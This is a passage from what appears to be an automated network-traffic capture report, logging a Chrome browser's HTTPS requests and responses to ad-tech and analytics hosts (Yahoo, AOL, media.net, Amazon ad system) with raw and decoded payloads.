2024-05-23 22:35:13 UTC	1390	IN	Data Raw: 28 61 2c 62 29 7b 69 66 28 21 74 68 69 73 2e 67 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 61 3d 6e 65 77 20 62 62 28 61 2c 62 29 3b 62 3d 60 67 6f 6f 67 5f 24 7b 61 2e 6c 61 62 65 6c 7d 5f 24 7b 61 2e 75 6e 69 71 75 65 49 64 7d 5f 73 74 61 72 74 60 3b 55 26 26 56 28 29 26 26 55 2e 6d 61 72 6b 28 62 29 3b 72 65 74 75 72 6e 20 61 7d 65 6e 64 28 61 29 7b 69 66 28 74 68 69 73 2e 67 26 26 22 6e 75 6d 62 65 72 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2e 76 61 6c 75 65 29 7b 61 2e 64 75 72 61 74 69 6f 6e 3d 28 61 62 28 29 7c 7c 24 61 28 29 29 2d 61 2e 76 61 6c 75 65 3b 76 61 72 20 62 3d 60 67 6f 6f 67 5f 24 7b 61 2e 6c 61 62 65 6c 7d 5f 24 7b 61 2e 75 6e 69 71 75 65 49 64 7d 5f 65 6e 64 60 3b 55 26 26 56 28 29 26 26 55 2e 6d 61 72 6b 28 62 29 3b 21 74 68 69 73 2e 67 7c Data Ascii: (a,b){if(!this.g)return null;a=new bb(a,b);b=`goog_${a.label}_${a.uniqueId}_start`;U&&V()&&U.mark(b);return a}end(a){if(this.g&&"number"===typeof a.value){a.duration=(ab()\|\|$a())-a.value;var b=`goog_${a.label}_${a.uniqueId}_end`;U&&V()&&U.mark(b);!this.g\|
2024-05-23 22:35:13 UTC	1390	IN	Data Raw: 2e 6e 61 6d 65 26 26 2d 31 3d 3d 62 2e 69 6e 64 65 78 4f 66 28 61 2e 6e 61 6d 65 29 26 26 28 62 2b 3d 22 3a 20 22 2b 61 2e 6e 61 6d 65 29 3b 61 2e 6d 65 73 73 61 67 65 26 26 2d 31 3d 3d 62 2e 69 6e 64 65 78 4f 66 28 61 2e 6d 65 73 73 61 67 65 29 26 26 28 62 2b 3d 22 3a 20 22 2b 61 2e 6d 65 73 73 61 67 65 29 3b 69 66 28 61 2e 73 74 61 63 6b 29 61 3a 7b 61 3d 61 2e 73 74 61 63 6b 3b 76 61 72 20 63 3d 62 3b 74 72 79 7b 2d 31 3d 3d 61 2e 69 6e 64 65 78 4f 66 28 63 29 26 26 28 61 3d 63 2b 22 5c 5c 6e 22 2b 61 29 3b 6c 65 74 20 64 3b 66 6f 72 28 3b 61 21 3d 64 3b 29 64 3d 61 2c 61 3d 61 2e 72 65 70 6c 61 63 65 28 52 65 67 45 78 70 28 22 28 28 68 74 74 70 73 3f 3a 2f 2e 2e 2a 2f 29 5b 5e 2f 3a 5d 2a 3a 5c 5c 5c 5c 64 2b 28 3f 3a 2e 7c 5c 5c 6e 29 2a 29 5c 5c 5c Data Ascii: .name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack)a:{a=a.stack;var c=b;try{-1==a.indexOf(c)&&(a=c+"\\n"+a);let d;for(;a!=d;)d=a,a=a.replace(RegExp("((https?:/../)[^/:]:\\\\d+(?:.\|\\n)*)\\\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.6	50433	76.223.111.18	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	454	OUT	GET /xuid?mid=2662&xuid=y-gPhdo71E2oSdeaPLxAL9mEitt.dXnA67oJ7i7V0K1Q--~A&dongle=0883 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluid=3476490108663385185440
2024-05-23 22:35:12 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:12 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:12 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:12 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:35:12 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.6	50426	52.209.232.1	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	720	OUT	GET /sync/pubmatic/BD0DE19C-09D4-4B62-A188-46A0D2E6C177?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:12 UTC	550	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:12 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic
2024-05-23 22:35:12 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.6	50425	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	1587	OUT	POST /p?s=1197803361&t=WgjaIkeYTgpBuQxA,0.02214287007829263&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04A_utm%03%7B%22perf_fcp%22%3A6099%7D%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031716503699%04_ms%03836%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:12 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:12 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:12 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:12 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.6	50416	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	821	OUT	GET /cksync.php?cs=1&type=zem&ovsid=Ldu6nP-f8GRn9WiN8PL4 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10; data-rk=5144588530448503731~~8; data-o=e76223d5-0ccf-44a1-8261-d9c1c88ec58a~~8; data-so=3e69915a-aa81-453c-8be6-621af7150f41~~8
2024-05-23 22:35:12 UTC	629	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ze=Ldu6nP-f8GRn9WiN8PL4~~1;Expires=Fri, 23 May 2025 22:35:12 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:12 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:12 GMT Connection: close
2024-05-23 22:35:12 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-05-23 22:35:12 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.6	50419	3.78.151.12	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	838	OUT	GET /ping_match.gif?scc=1&ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Ddxu%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ HTTP/1.1 Host: pm.w55c.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfivefivec=K0DIBbMP1Sah1H5
2024-05-23 22:35:12 UTC	790	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Thu, 23 May 2024 22:35:12 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://contextual.media.net/cksync.php?cs=8&vsid=3595052986404735000V10&type=dxu&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=K0DIBbMP1Sah1H5 Pragma: no-cache Server: PingMatch/v2.0.30-803-g63cf649#rel-ec2-master i-0c47e0e37cf640e0f@eu-central-1a@dxedge-app-eu-central-1-prod-asg Set-Cookie: wfivefivec=K0DIBbMP1Sah1H5; Domain=.w55c.net; Expires=Mon, 23 Jun 2025 22:35:12 GMT; Path=/; SameSite=None; Secure Set-Cookie: matchmedianet=5; Domain=.w55c.net; Expires=Sat, 22 Jun 2024 22:35:12 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.6	50412	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	4126	OUT	POST /p?_V=test&V_sec=pb&evt=ad_event&t=0.8878665068901888&_sqno=3&ts=6181&auto=vm&bckt=none&ccode=&cdn=bcp&cont=1&cpos=&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&expt=&expm=na&focus=1&intl=us&lang=en-US&layout=aolgrid&lms_id=a077000000IpoJiAAJ&loc=onProp&msz=&p_sec=AOL&p_subsec=homepage&pbst=waiting&pct=aol&pd=&pg_name=&pkgt=&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&pltype=ev-desktop&pl_bckt=&pstaid=42b897a6-9771-3329-b351-69a701a77438&pstaid_p=&pstcat=&psz=368x276&pt=home&pver=1.6.29&_rid=30rmpplj4vh3m&region=US&replay=0&rlvtscr=&s=1197803361&sec=releases&site=aolhomepage&snd=m&subsec=aol_on_video&test=aol-acookie-control%2Caol-aa-1&type=vod+short&ar=1.78&ver=td-app-aol&vid=42b897a6-9771-3329-b351-69a701a77438&vidPos=&vlng=68&vs=b2be1uzt&tmout=10&vptm=10&preload=true&errstate=none&_w=https%3A%2F%2Fwww.aol.com%2F&_R=&ucl=NaN&adUrl=https%3A%2F%2Ftb.pbs.yahoo.com%2Fv1%2Fevp%2Fasset%3Fbcid%3D5afc769f7239855a15fcee15%26pid%3D5afc75ea3a04293dad9f1a1f%26secure%3Dtrue%26rssId%3D42b897a6-9771-3329-b351-69 [TRUNCATED] Host: bats.video.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:12 UTC	1059	IN	HTTP/1.1 200 OK content-length: 0 content-type: text/plain x-envoy-upstream-service-time: 130 date: Thu, 23 May 2024 22:35:12 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:12 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:12 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.6	50434	209.54.182.161	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	482	OUT	GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=77983637-bb65-c5bb-2120-253812529cb6 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; ad-privacy=0
2024-05-23 22:35:12 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 23 May 2024 22:35:12 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: X28NFA8ZRXV9BHZRWC4Q Set-Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:35:12 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 22:35:12 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-23 22:35:12 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.6	50428	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	1117	OUT	GET /setuid?bidder=ttd&uid=3e077bb4-bf4a-4c19-933e-c98ddd88142e&gdpr=0&gdpr_consent= HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn19fQ==
2024-05-23 22:35:12 UTC	1077	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMi41MDY2ODk0NjJaIn19fQ==; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:12 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Thu, 23 May 2024 22:35:12 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:35:12 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.6	50420	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	1589	OUT	POST /p?s=1197803361&t=FYA9fARhXDiDzjO2,0.005681565377101183&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04A_utm%03%7B%22perf_ttfb%22%3A1260%7D%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031716503699%04_ms%03852%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:12 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:12 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 2 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:12 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:12 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.6	50422	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
